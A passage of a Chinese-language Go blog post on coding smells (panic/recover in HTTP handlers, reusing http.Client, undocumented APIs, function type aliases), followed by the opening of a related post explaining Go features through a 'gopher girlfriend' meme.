模拟一个关键数据处理器 type CriticalDataProcessor struct { // 假设有一些内部状态 activeConnections int lastProcessedID string } // 处理数据的方法，这里故意引入一个可能导致 panic 的 bug func (p *CriticalDataProcessor) Process(dataID string, payload map[string]interface{}) error { fmt.Printf(\u0026#34;Processor: 开始处理数据 %s\\n\u0026#34;, dataID) p.activeConnections++ defer func() { p.activeConnections-- }() // 确保连接数正确管理 // 模拟一些复杂逻辑 time.Sleep(50 * time.Millisecond) // ！！！潜在的 Bug ！！！ // 假设 payload 中 \u0026#34;user\u0026#34; 字段应该是一个结构体指针，但有时可能是 nil // 或者，某个深层嵌套的访问可能导致空指针解引用 // 为了演示，我们简单模拟一个 nil map 访问导致的 panic var userDetails map[string]string // userDetails = payload[\u0026#34;user\u0026#34;].(map[string]string) // 这本身也可能 panic 如果类型断言失败 // 为了稳定复现 panic，我们直接让 userDetails 为 nil if dataID == \u0026#34;buggy-data-001\u0026#34; { // 特定条件下触发 bug fmt.Printf(\u0026#34;Processor: 触发 Bug，尝试访问 nil map \u0026#39;%s\u0026#39;\\n\u0026#34;, userDetails[\u0026#34;name\u0026#34;]) // 这里会 panic } p.lastProcessedID = dataID fmt.Printf(\u0026#34;Processor: 数据 %s 处理成功\\n\u0026#34;, dataID) return nil } // HTTP Handler - 版本1: 不做任何 recover func handleRequestVersion1(processor *CriticalDataProcessor) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { dataID := r.URL.Query().Get(\u0026#34;id\u0026#34;) if dataID == \u0026#34;\u0026#34; { http.Error(w, \u0026#34;缺少 id 参数\u0026#34;, http.StatusBadRequest) return } // 模拟从请求中获取 payload payload := make(map[string]interface{}) // if dataID == \u0026#34;buggy-data-001\u0026#34; { // // payload[\u0026#34;user\u0026#34;] 可能是 nil 或错误类型，导致 Process 方法 panic // } err := processor.Process(dataID, payload) // 如果 Process 发生 panic，整个 HTTP server goroutine 会崩溃 if err != nil { http.Error(w, fmt.Sprintf(\u0026#34;处理失败: %v\u0026#34;, err), http.StatusInternalServerError) return } fmt.Fprintf(w, \u0026#34;请求 %s 处理成功\\n\u0026#34;, dataID) } } // HTTP Handler - 版本2: 在每个请求处理的 goroutine 顶层 recover func handleRequestVersion2(processor *CriticalDataProcessor) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { defer func() { if err := recover(); err != nil { fmt.Fprintf(os.Stderr, \u0026#34;!!!!!!!!!!!!!! PANIC 捕获 !!!!!!!!!!!!!!\\n\u0026#34;) fmt.Fprintf(os.Stderr, \u0026#34;错误: %v\\n\u0026#34;, err) fmt.Fprintf(os.Stderr, \u0026#34;堆栈信息:\\n%s\\n\u0026#34;, debug.Stack()) fmt.Fprintf(os.Stderr, \u0026#34;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\\n\u0026#34;) // 向客户端返回一个通用的服务器错误 http.Error(w, \u0026#34;服务器内部错误，请稍后重试\u0026#34;, http.StatusInternalServerError) // 可以在这里记录更详细的错误到日志系统、发送告警等 // 例如：log.Errorf(\u0026#34;Panic recovered: %v, Stack: %s\u0026#34;, err, debug.Stack()) // metrics.Increment(\u0026#34;panic_recovered_total\u0026#34;) // 重要：根据系统的 mission-critical 程度和业务逻辑， // 这里可能还需要做一些清理工作，或者尝试让系统保持在一种“安全降级”的状态。 // 但要注意，recover 后的状态可能是不确定的，需要非常谨慎。 } }() dataID := r.URL.Query().Get(\u0026#34;id\u0026#34;) if dataID == \u0026#34;\u0026#34; { http.Error(w, \u0026#34;缺少 id 参数\u0026#34;, http.StatusBadRequest) return } payload := make(map[string]interface{}) err := processor.Process(dataID, payload) if err != nil { // 正常错误处理 http.Error(w, fmt.Sprintf(\u0026#34;处理失败: %v\u0026#34;, err), http.StatusInternalServerError) return } fmt.Fprintf(w, \u0026#34;请求 %s 处理成功\\n\u0026#34;, dataID) } } func main() { processor := \u0026amp;CriticalDataProcessor{} // mux1 使用 Version1 handler (不 recover) // mux2 使用 Version2 handler (recover) // 启动 HTTP 服务器 (这里为了演示，只启动一个，实际中会选择一个) // 你可以注释掉一个，运行另一个来观察效果 // http.HandleFunc(\u0026#34;/v1/process\u0026#34;, handleRequestVersion1(processor)) // fmt.Println(\u0026#34;V1 Server (不 recover) 启动在 :8080/v1/process\u0026#34;) // go http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) http.DefaultServeMux.HandleFunc(\u0026#34;/v2/process\u0026#34;, handleRequestVersion2(processor)) fmt.Println(\u0026#34;V2 Server (recover) 启动在 :8081/v2/process\u0026#34;) go http.ListenAndServe(\u0026#34;:8081\u0026#34;, nil) fmt.Println(\u0026#34;\\n请在浏览器或使用 curl 测试:\u0026#34;) fmt.Println(\u0026#34; 正常请求: curl \u0026#39;http://localhost:8081/v2/process?id=normal-data-002\u0026#39;\u0026#34;) fmt.Println(\u0026#34; 触发Bug的请求: curl \u0026#39;http://localhost:8081/v2/process?id=buggy-data-001\u0026#39;\u0026#34;) fmt.Println(\u0026#34; (如果启动V1服务，触发Bug的请求会导致服务崩溃)\u0026#34;) select {} // 阻塞 main goroutine，保持服务器运行 } 问题分析：\n不 Recover (handleRequestVersion1)： 当 processor.Process 方法因为 Bug（例如访问 nil map userDetails[\u0026ldquo;name\u0026rdquo;]）而发生 panic 时，如果这个 panic 没有在当前 goroutine 的调用栈中被 recover，它会一直向上传播。对于由 net/http 包为每个请求创建的 goroutine，如果 panic 未被处理，将导致该 goroutine 崩溃。在某些情况下（取决于 Go 版本和 HTTP server 实现的细节），这可能导致整个 HTTP 服务器进程终止，或者至少是该连接的处理异常中断，影响服务可用性。 Recover (handleRequestVersion2)： 通过在每个请求处理的 goroutine 顶层使用 defer func() { recover() }()，我们可以捕获这个由 Bug 引发的 panic。捕获后，我们可以： 记录详细的错误信息和堆栈跟踪，便于事后分析和修复 Bug。 向当前请求的客户端返回一个通用的错误响应（例如 HTTP 500），而不是让连接直接断开或无响应。 关键在于： 阻止了单个请求处理中的 Bug 导致的 panic 扩散到导致整个服务不可用的地步。服务本身仍然可以继续处理其他正常的请求。 “是Bug就让它崩！”的观点在很多开发和测试环境中是值得提倡的，因为它能让我们更快地发现和定位问题。然而，在线上，特别是对于 mission-critical 系统：\n可用性是第一要务： 一次意外的全面宕机，可能比单个请求处理失败带来的损失大得多。 数据一致性风险： 如果 panic 发生在关键数据操作的中间状态，直接崩溃可能导致数据不一致或损坏。recover 之后虽然也需要谨慎处理状态，但至少给了我们一个尝试回滚或记录问题的机会。 用户体验： 对用户而言，遇到一个“服务器内部错误”然后重试，通常比整个服务长时间无法访问要好一些。 避坑与决策指南：\n在关键服务的请求处理入口或 goroutine 顶层设置 recover 机制： 这是构建健壮服务的推荐做法。 * recover 应该与 defer 配合使用。 * 在 recover 逻辑中，务必记录详细的错误信息、堆栈跟踪，并考虑集成到告警系统。\nrecover 之后做什么？——视情况而定，但要极其谨慎： * 对于单个请求处理 goroutine： 通常的做法是记录错误，向当前客户端返回错误响应，然后让该 goroutine 正常结束。避免让这个 panic 影响其他请求。 * 对于核心的、管理全局状态的 goroutine： 如果发生 panic，表明系统可能处于一种非常不稳定的状态。recover 后，可能需要执行一些清理操作，尝试将系统恢复到一个已知的安全状态，或者进行优雅关闭并重启。绝对不应该假装什么都没发生，继续使用可能已损坏的状态。 * “苟活”的度： “苟活”不代表对 Bug 视而不见。recover 的目的是保障服务的整体可用性，同时为我们争取定位和修复 Bug 的时间。捕获到的 panic 必须被视为高优先级事件进行处理。\n库代码应极度克制 panic： 库不应该替应用程序做“是否崩溃”的决策。\n测试，测试，再测试： 通过充分的单元测试、集成测试和压力测试，尽可能在上线前发现和消除潜在的 Bug，减少线上发生 panic 的概率。可以使用 Go 的 race detector 来检测并发代码中的竞态条件。\n不要滥用 panic/recover 作为正常的错误处理机制： panic/recover 主要用于处理不可预料的、灾难性的运行时错误或程序缺陷，而不是替代 error 返回值来处理业务逻辑中的预期错误。\n“是Bug就让它崩！”在开发阶段有助于快速发现问题，但在生产环境，特别是 mission-critical 系统中，“有控制地恢复，详细记录，并保障整体服务可用性” 往往是更明智的选择。这并不意味着容忍 Bug，而是采用一种更成熟、更负责任的方式来应对突发状况，确保系统在面对未知错误时仍能表现出足够的韧性。\n坏味道四：http.Client 的“一次性”误区——“每次都新建，省心又省事？” Go 标准库的 net/http 包提供了强大的 HTTP客户端功能。但有些开发者（尤其是初学者）在使用 http.Client 时，会为每一个 HTTP 请求都创建一个新的 http.Client 实例。\n典型场景：函数内部频繁创建 http.Client\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;io/ioutil\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;time\u0026#34; ) // 坏味道：每次调用都创建一个新的 http.Client func fetchDataFromAPI(url string) (string, error) { client := \u0026amp;http.Client{ // 每次都新建 Client Timeout: 10 * time.Second, } resp, err := client.Get(url) if err != nil { return \u0026#34;\u0026#34;, err } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { return \u0026#34;\u0026#34;, err } return string(body), nil } // 正确的方式：复用 http.Client var sharedClient = \u0026amp;http.Client{ // 全局或适当范围复用的 Client Timeout: 10 * time.Second, // 可以配置 Transport 以控制连接池等 // Transport: \u0026amp;http.Transport{ // MaxIdleConns: 100, // MaxIdleConnsPerHost: 10, // IdleConnTimeout: 90 * time.Second, // }, } func fetchDataFromAPIReusable(url string) (string, error) { resp, err := sharedClient.Get(url) // 复用 Client if err != nil { return \u0026#34;\u0026#34;, err } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { return \u0026#34;\u0026#34;, err } return string(body), nil } func main() { // 模拟多次调用 // 如果使用 fetchDataFromAPI，每次都会创建新的 TCP 连接 // _,_ = fetchDataFromAPI(\u0026#34;https://www.example.com\u0026#34;) // _,_ = fetchDataFromAPI(\u0026#34;https://www.example.com\u0026#34;) // 使用 fetchDataFromAPIReusable，会复用连接 data, err := fetchDataFromAPIReusable(\u0026#34;https://httpbin.org/get\u0026#34;) if err != nil { fmt.Printf(\u0026#34;请求错误: %v\\n\u0026#34;, err) return } fmt.Printf(\u0026#34;获取到数据 (部分): %s...\\n\u0026#34;, data[:50]) data, err = fetchDataFromAPIReusable(\u0026#34;https://httpbin.org/get\u0026#34;) if err != nil { fmt.Printf(\u0026#34;请求错误: %v\\n\u0026#34;, err) return } fmt.Printf(\u0026#34;再次获取到数据 (部分): %s...\\n\u0026#34;, data[:50]) } 问题分析：\nhttp.Client 的零值或通过 \u0026amp;http.Client{} 创建的实例，其内部的 Transport 字段（通常是 *http.Transport）会维护一个 TCP 连接池，并处理 HTTP keep-alive 等机制以复用连接。如果为每个请求都创建一个新的 http.Client，那么每次请求都会经历完整的 TCP 连接建立过程（三次握手），并在请求结束后关闭连接。\n危害：\n性能下降： 频繁的 TCP 连接建立和关闭开销巨大。 资源消耗增加： 短时间内大量创建连接可能导致客户端耗尽可用端口，或者服务器端累积大量 TIME_WAIT 状态的连接，最终影响整个系统的吞吐量和稳定性。 避坑指南：\n复用 http.Client 实例： 这是官方推荐的最佳实践。可以在全局范围创建一个 http.Client 实例（如 http.DefaultClient，或者一个自定义配置的实例），并在所有需要发起 HTTP 请求的地方复用它。 http.Client 是并发安全的： 你可以放心地在多个 goroutine 中共享和使用同一个 http.Client 实例。 自定义 Transport： 如果需要更细致地控制连接池大小、超时时间、TLS 配置等，可以创建一个自定义的 http.Transport 并将其赋给 http.Client 的 Transport 字段。 坏味道五：API 设计的“文档缺失”——“这参数啥意思？猜猜看！” 良好的 API 设计是软件质量的基石，而清晰、准确的文档则是 API 可用性的关键。然而，在实际项目中，我们常常会遇到一些 API，其参数、返回值、错误码、甚至行为语义都缺乏明确的文档说明，导致用户（调用方）在集成时只能靠“猜”或者阅读源码，极易产生误用。\n典型场景：一个“凭感觉”调用的服务发现 API\n假设我们有一个类似 Nacos Naming 的服务发现客户端，其 GetInstance API 的文档非常简略，或者干脆没有文档，只暴露了函数签名：\npackage main import ( \u0026#34;errors\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;math/rand\u0026#34; \u0026#34;time\u0026#34; ) // 假设这是 Nacos Naming 客户端的一个简化接口 type NamingClient interface { // GetInstance 获取服务实例。 // 关键问题： // 1. serviceName 需要包含 namespace/group 信息吗？格式是什么？ // 2. clusters 是可选的吗？如果提供多个，是随机选一个还是有特定策略？ // 3. healthyOnly 如果为 true，是否会过滤掉不健康的实例？如果不健康实例是唯一选择呢？ // 4. 返回的 instance 是什么结构？如果找不到实例，是返回 nil, error 还是空对象？ // 5. error 可能有哪些类型？调用方需要如何区分处理？ // 6. 这个调用是阻塞的吗？超时机制是怎样的？ // 7. 是否有本地缓存机制？缓存刷新策略是？ GetInstance(serviceName string, clusters []string, healthyOnly bool) (instance interface{}, err error) } // 一个非常简化的模拟实现 (坏味道的 API 设计，文档缺失) type MockNamingClient struct{} func (c *MockNamingClient) GetInstance(serviceName string, clusters []string, healthyOnly bool) (interface{}, error) { fmt.Printf(\u0026#34;尝试获取服务: %s, 集群: %v, 只获取健康实例: %t\\n\u0026#34;, serviceName, clusters, healthyOnly) // 模拟一些内部逻辑和不确定性 if serviceName == \u0026#34;\u0026#34; { return nil, errors.New(\u0026#34;服务名不能为空 (错误码: Naming-1001)\u0026#34;) // 文档里有这个错误码说明吗？ } // 假设我们内部有一些实例数据 instances := map[string][]string{ \u0026#34;OrderService\u0026#34;: {\u0026#34;10.0.0.1:8080\u0026#34;, \u0026#34;10.0.0.2:8080\u0026#34;}, \u0026#34;PaymentService\u0026#34;: {\u0026#34;10.0.1.1:9090\u0026#34;}, } // 模拟集群选择逻辑 (文档缺失，用户只能猜) selectedCluster := \u0026#34;\u0026#34; if len(clusters) \u0026gt; 0 { selectedCluster = clusters[rand.Intn(len(clusters))] // 随机选一个？ fmt.Printf(\u0026#34;选择了集群: %s\\n\u0026#34;, selectedCluster) } // 模拟健康检查和实例返回 (文档缺失) if healthyOnly \u0026amp;\u0026amp; rand.Float32() \u0026lt; 0.3 { // 30% 概率找不到健康实例 return nil, fmt.Errorf(\u0026#34;在集群 %s 中未找到 %s 的健康实例 (错误码: Naming-2003)\u0026#34;, selectedCluster, serviceName) } if insts, ok := instances[serviceName]; ok \u0026amp;\u0026amp; len(insts) \u0026gt; 0 { return insts[rand.Intn(len(insts))], nil // 返回一个实例地址 } return nil, fmt.Errorf(\u0026#34;服务 %s 未找到 (错误码: Naming-4004)\u0026#34;, serviceName) } func main() { client := \u0026amp;MockNamingClient{} // 用户A的调用 (基于猜测) fmt.Println(\u0026#34;用户A 调用:\u0026#34;) instA, errA := client.GetInstance(\u0026#34;OrderService\u0026#34;, []string{\u0026#34;clusterA\u0026#34;, \u0026#34;clusterB\u0026#34;}, true) if errA != nil { fmt.Printf(\u0026#34;用户A 获取实例失败: %v\\n\u0026#34;, errA) } else { fmt.Printf(\u0026#34;用户A 获取到实例: %v\\n\u0026#34;, instA) } fmt.Println(\u0026#34;\\n用户B 的调用 (换一种猜测):\u0026#34;) // 用户B 可能不知道 serviceName 需要什么格式，或者 clusters 参数的意义 instB, errB := client.GetInstance(\u0026#34;com.example.PaymentService\u0026#34;, nil, false) // serviceName 格式？clusters 为 nil 会怎样？ if errB != nil { fmt.Printf(\u0026#34;用户B 获取实例失败: %v\\n\u0026#34;, errB) } else { fmt.Printf(\u0026#34;用户B 获取到实例: %v\\n\u0026#34;, instB) } } 问题分析：\n当 API 的设计者没有提供清晰、详尽的文档来说明每个参数的含义、取值范围、默认行为、边界条件、错误类型以及API的整体行为和副作用时，API 的使用者就只能依赖猜测、尝试，甚至阅读源码（如果开源的话）来理解如何正确调用。\n危害：\n极易误用： 用户可能以 API 设计者未预期的方式调用接口，导致程序行为不符合预期，甚至引发错误。 集成成本高： 理解和调试一个文档不清晰的 API 非常耗时。 脆弱的依赖： 当 API 的内部实现或未明确定义的行为发生变化时，依赖这些隐性行为的调用方代码很可能会中断。 难以排查问题： 出现问题时，很难判断是调用方使用不当，还是 API 本身的缺陷。 避坑指南 (针对 API 设计者)：\n编写清晰、准确、详尽的文档是 API 设计不可或缺的一部分！ 这不仅仅是注释，可能还包括独立的 API 参考手册、用户指南和最佳实践。\n参数和返回值要有明确的语义： 名称应自解释，复杂类型应有结构和字段说明。 * 例如，serviceName 是否需要包含命名空间或分组信息？格式是什么？ * clusters 参数是可选的吗？如果提供多个，选择策略是什么？是轮询、随机还是有特定优先级？ * healthyOnly 的确切行为是什么？如果没有健康的实例，是返回错误还是有其他回退逻辑？\n明确约定边界条件和错误情况： * 哪些参数是必需的，哪些是可选的？可选参数的默认值是什么？ * 对于无效输入，API 会如何响应？返回哪些具体的错误码或错误信息？（例如，示例中的 Naming-1001, Naming-2003, Naming-4004 是否有统一的文档说明其含义和建议处理方式？） * API 调用可能产生的副作用是什么？\n提供清晰的调用示例： 针对常见的用例，提供可运行的代码示例。\n考虑 API 的易用性和健壮性： * 是否需要版本化？ * 是否需要幂等性保证？ * 认证和授权机制是否清晰？ * 超时和重试策略是怎样的？\n将 API 的使用者视为首要客户： 站在使用者的角度思考，他们需要哪些信息才能轻松、正确地使用你的 API。\n对于 API 的使用者： 当遇到文档不清晰的 API 时，除了“猜测”，更积极的做法是向 API 提供方寻求澄清，或者在有条件的情况下，参与到 API 文档的改进和完善中。\n在之前《API设计的“Go境界”：Go团队设计MCP SDK过程中的取舍与思考》一文中，我们了见识了Go团队的API设计艺术，大家可以认知阅读和参考。\n坏味道六：匿名函数类型签名的“笨拙感”——“这函数参数看着眼花缭乱！” Go 语言的函数是一等公民，可以作为参数传递，也可以作为返回值。这为编写高阶函数和实现某些设计模式提供了极大的灵活性。然而，当匿名函数的类型签名（特别是嵌套或包含多个复杂函数类型参数时）直接写在函数定义中时，代码的可读性会大大降低，显得冗余和笨拙。\n典型场景：复杂的函数签名\npackage main import ( \u0026#34;errors\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;strings\u0026#34; ) // 坏味道：函数签名中直接嵌入复杂的匿名函数类型 func processData( data []string, filterFunc func(string) bool, // 参数1：一个过滤函数 transformFunc func(string) (string, error), // 参数2：一个转换函数 aggregatorFunc func([]string) string, // 参数3：一个聚合函数 ) (string, error) { var filteredData []string for _, d := range data { if filterFunc(d) { transformed, err := transformFunc(d) if err != nil { // 注意：这里为了简化，直接返回了第一个遇到的错误 // 实际应用中可能需要更复杂的错误处理逻辑，比如收集所有错误 return \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;转换 \u0026#39;%s\u0026#39; 失败: %w\u0026#34;, d, err) } filteredData = append(filteredData, transformed) } } if len(filteredData) == 0 { return \u0026#34;\u0026#34;, errors.New(\u0026#34;没有数据需要聚合\u0026#34;) } return aggregatorFunc(filteredData), nil } // 使用 type 定义函数类型别名，代码更清晰 type StringFilter func(string) bool type StringTransformer func(string) (string, error) type StringAggregator func([]string) string func processDataWithTypeAlias( data []string, filter StringFilter, transform StringTransformer, aggregate StringAggregator, ) (string, error) { // 函数体与 processData 相同 var filteredData []string for _, d := range data { if filter(d) { transformed, err := transform(d) if err != nil { return \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;转换 \u0026#39;%s\u0026#39; 失败: %w\u0026#34;, d, err) } filteredData = append(filteredData, transformed) } } if len(filteredData) == 0 { return \u0026#34;\u0026#34;, errors.New(\u0026#34;没有数据需要聚合\u0026#34;) } return aggregate(filteredData), nil } func main() { sampleData := []string{\u0026#34; apple \u0026#34;, \u0026#34;Banana\u0026#34;, \u0026#34; CHERRY \u0026#34;, \u0026#34;date\u0026#34;} // 使用原始的 processData，函数调用时也可能显得冗长 result, err := processData( sampleData, func(s string) bool { return len(strings.TrimSpace(s)) \u0026gt; 0 }, func(s string) (string, error) { trimmed := strings.TrimSpace(s) if strings.ToLower(trimmed) == \u0026#34;banana\u0026#34; { // 假设banana是不允许的 return \u0026#34;\u0026#34;, errors.New(\u0026#34;包含非法水果banana\u0026#34;) } return strings.ToUpper(trimmed), nil }, func(s []string) string { return strings.Join(s, \u0026#34;, \u0026#34;) }, ) if err != nil { fmt.Printf(\u0026#34;处理错误 (原始方式): %v\\n\u0026#34;, err) } else { fmt.Printf(\u0026#34;处理结果 (原始方式): %s\\n\u0026#34;, result) } // 使用 processDataWithTypeAlias，定义和调用都更清晰 filter := func(s string) bool { return len(strings.TrimSpace(s)) \u0026gt; 0 } transformer := func(s string) (string, error) { trimmed := strings.TrimSpace(s) if strings.ToLower(trimmed) == \u0026#34;banana\u0026#34; { return \u0026#34;\u0026#34;, errors.New(\u0026#34;包含非法水果banana\u0026#34;) } return strings.ToUpper(trimmed), nil } aggregator := func(s []string) string { return strings.Join(s, \u0026#34;, \u0026#34;) } resultTyped, errTyped := processDataWithTypeAlias(sampleData, filter, transformer, aggregator) if errTyped != nil { fmt.Printf(\u0026#34;处理错误 (类型别名方式): %v\\n\u0026#34;, errTyped) } else { fmt.Printf(\u0026#34;处理结果 (类型别名方式): %s\\n\u0026#34;, resultTyped) } } 问题分析：\nGo 语言的类型系统是强类型且显式的。函数类型本身也是一种类型。当我们将一个函数类型（特别是具有多个参数和返回值的复杂函数类型）直接作为另一个函数的参数类型或返回值类型时，会导致函数签名变得非常长，难以阅读和理解。这与 Go 追求简洁和可读性的哲学在观感上有所冲突。\n避坑指南：\n使用 type 关键字定义函数类型别名： 这是解决此类问题的最推荐、最地道也是最常见的方法。通过为复杂的函数签名定义一个有意义的类型名称，可以极大地提高代码的可读性和可维护性。如示例中的 StringFilter, StringTransformer, StringAggregator。\n何时可以不使用类型别名： * 当函数签名非常简单（例如 func() 或 func(int) int）且该函数类型只在局部、极少数地方使用时，直接写出可能问题不大。 * 但一旦函数签名变复杂，或者该函数类型需要在多个地方使用（作为不同函数的参数或返回值，或者作为结构体字段类型），就应该毫不犹豫地使用类型别名。\n理解背后的设计考量： Go 语言强调类型的明确性。虽然直接写出函数类型显得“笨拙”，但也保证了类型信息在代码中的完全显露，避免了某些动态语言中因类型不明确可能导致的困惑。类型别名则是在这种明确性的基础上，提供了提升可读性的手段。\n为了更好地简化匿名函数，Go团队也提出了关于引入轻量级匿名函数语法的提案（Issue #21498），该提案一直是社区讨论的焦点，它旨在提供一种更简洁的方式来定义匿名函数，尤其是当函数类型可以从上下文推断时，从而减少样板代码，提升代码的可读性和编写效率。\n小结：于细微处见真章，持续打磨代码品质 今天我们复盘的这六个 Go 编码“坏味道”——异步时序混乱、指针闭包陷阱、不当的错误处理、http.Client 误用、文档缺失的 API 以及冗长的函数签名——可能只是我们日常开发中遇到问题的冰山一角。\n它们中的每一个，看似都是细节问题，但“千里之堤，溃于蚁穴”。正是这些细节的累积，最终决定了我们软件产品的质量、系统的稳定性和团队的开发效率。\n识别并规避这些“坏味道”，需要我们：\n深入理解 Go 语言的特性和设计哲学。 培养严谨的工程思维和对细节的关注。 重视代码审查，从他人的错误和经验中学习。 持续学习，不断反思和总结自己的编码实践。 希望今天的分享能给大家带来一些启发。让我们一起努力，写出更少“坑”、更高质量的 Go 代码！\n聊一聊，也帮个忙：\n在你日常的 Go 开发或 Code Review 中，还遇到过哪些让你印象深刻的“编码坏味道”？ 对于今天提到的这些问题，你是否有自己独特的解决技巧或更深刻的理解？ 你认为在团队中推广良好的编码规范和实践，最有效的方法是什么？ 欢迎在评论区留下你的经验、思考和问题。如果你觉得这篇文章对你有帮助，也请转发给你身边的 Gopher 朋友们，让我们一起在 Go 的道路上精进！\n想与我进行更深入的 Go 语言、编码实践与 AI 技术交流吗？ 欢迎加入我的**“Go \u0026amp; AI 精进营”知识星球**。\n我们星球见！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/31/six-smells-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/six-smells-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/05/31/six-smells-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/05/31/six-smells-in-go\"\u003ehttps://tonybai.com/2025/05/31/six-smells-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在日常的代码审查 (Code Review) 和线上问题复盘中，我经常会遇到一些看似不起眼，却可能埋下巨大隐患的 Go 代码问题。这些“编码坏味道”轻则导致逻辑混乱、性能下降，重则引发数据不一致、系统崩溃，甚至让团队成员在深夜被告警声惊醒，苦不堪言。\u003c/p\u003e","title":"“这代码迟早出事！”——复盘线上问题：六个让你头痛的Go编码坏味道"},{"content":"当Gopher拥有了“Go语言女友”：一张图带你读懂Go的那些“可爱”特性 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n当Gopher拥有了“Go语言女友”：一张图带你读懂Go的那些“可爱”特性 五月 30, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/30/gopher-girlfriend\n大家好，我是Tony Bai。\n最近，一张名为 “gopher gf” (Go 语言女友) 的 Meme 图在开发者社区悄然流传，引得无数 Gopher 会心一笑。这张图用拟人化的“女友”特质，巧妙地描绘了 Go 语言的诸多优点和社区文化梗。\n那么，这位集万千宠爱于一身的“Go 语言女友”，究竟有哪些令人着迷的“可爱”特性呢？今天，就让我们化身“恋爱观察员”，逐条“解密”这张 Meme 图，看看 Go 语言是如何成为许多开发者心中“理想型”的。\n“Gopher 女友”的可爱特质大揭秘！ 让我们一起来看看这位“Gopher 女友”的闪光点，以及它们在 Go 语言世界中的真实写照：\n1. “cute” (可爱)\nMeme 解读： 她有着 Gopher 吉祥物那标志性的、憨态可掬的可爱模样。 Go语言真相： 这首先让人联想到 Go 语言那只呆萌的土拨鼠吉祥物。更深层次来说，Go 语言的语法简洁、核心概念少、没有过多的“语法糖”，使得代码看起来清爽直接，就像一个不施粉黛、自然可爱的女孩，让人一见倾心。 2. “low-maintenance” (低维护)\nMeme 解读： 她不“作”，好相处，不需要你花太多心思去“伺候”。 Go语言真相： 这简直是 Go 语言的真实写照！ gofmt 强制统一代码风格，彻底终结了关于代码格式的“圣战”，减少了团队协作中的摩擦。 强大的工具链 (go build, go test, go mod 等) 让构建、测试、依赖管理变得异常简单。 静态编译生成单个可执行文件，部署过程干净利落，没有复杂的运行时依赖和“DLL地狱”。 内置垃圾回收 (GC) 机制，虽然不是“银弹”，但也极大地减轻了开发者的内存管理负担。 这些特性使得Go项目的维护成本相对较低，开发者可以将更多精力聚焦在业务逻辑上。\n3. “leaves you love letters in go.mod” (在 go.mod 里给你留情书)\nMeme 解读： 多么浪漫的表达！她把对你的“心意”（依赖）都清清楚楚地写在了 go.mod 这封“情书”里。 Go语言真相： 自从 Go Modules 成为官方推荐的依赖管理方案后，go.mod 文件就成了每个 Go 项目的“标准配置”。它清晰、明确地记录了项目的模块路径、Go 版本以及所有直接和间接依赖及其版本号。这种依赖关系的透明化和可追溯性，就像一封真挚的“情书”，让你对项目的“家底”一目了然，极大地方便了依赖管理和构建复现。 4. “panics but quickly recovers” (会panic但能快速恢复)\nMeme 解读： 她偶尔也会有小情绪（panic），但总能很快调整过来（recover），不至于让关系彻底崩溃。 Go语言真相： Go 语言通过 panic 来表示严重的、通常是程序缺陷导致的运行时错误。但与其他一些语言遇到类似情况直接崩溃不同，Go 提供了 recover 机制。通过在 defer 函数中调用 recover()，我们可以捕获 panic，记录错误信息，执行一些清理操作，甚至尝试让程序从一个可控的状态恢复或优雅降级，而不是让整个服务“一蹶不振”。这种设计赋予了 Go 程序更强的韧性。 5. “shares her emotions by communicating” (通过沟通分享她的情感)\nMeme 解读： 她乐于沟通，而不是让你猜她的心思。 Go 语言真相： 这无疑是在致敬 Go 并发编程的核心原语——channel！Go 语言信奉“不要通过共享内存来通信，而要通过通信来共享内存” (Don’t communicate by sharing memory, share memory by communicating) 的并发哲学。Channel 正是 goroutine 之间进行数据传递和状态同步的主要桥梁，它使得并发逻辑的表达更加清晰和安全。 6. “thinks mutexes are romantic” (认为互斥锁是浪漫的)\nMeme 解读： 这个有点“硬核”的浪漫！她认为互斥锁 (mutex) 这种保护共享资源、确保“二人世界”不被打扰的机制，是充满“安全感”的浪漫。 Go语言真相： sync.Mutex 是 Go 中最常用的并发同步原语之一，用于在并发访问共享资源时避免竞态条件。虽然 Go 推崇通过 channel 进行通信，但在某些场景下，使用互斥锁保护共享数据仍然是必要且高效的。这个梗幽默地反映了 Gopher 对并发安全的极致追求和对底层同步机制的熟悉。 7. “doesn’t cry when invalid memory address or nil pointer dereference” (当无效内存地址或空指针解引用时不会哭)\nMeme 解读： 遇到问题，她不“哭哭啼啼”（难以追踪的错误），而是直接“告诉你”（panic）。 Go 语言真相： 当 Go 程序遇到空指针解引用、数组越界等严重的运行时错误时，它会立即 panic，并打印出清晰的错误信息和堆栈跟踪。这与某些语言可能产生的段错误 (segmentation fault) 或未定义行为，导致问题难以定位和复现相比，无疑是一种更“直接”和有助于快速暴露和定位 Bug 的行为。 8. “thinks ORM is astrology for devs” (认为 ORM 对开发者来说是占星术)\nMeme 解读： 她对那些过度封装、隐藏细节、让人感觉像“玄学”的 ORM 框架持保留态度。 Go语言真相： 这是 Go 社区一个广为人知的“文化梗”。许多 Gopher 更倾向于使用标准库的 database/sql 包配合轻量级的 SQL 构建库（如 sqlx等），或者直接编写原生 SQL。这背后是对数据层掌控力、性能透明度以及避免不必要的“魔法”和复杂抽象的追求。他们认为，SQL 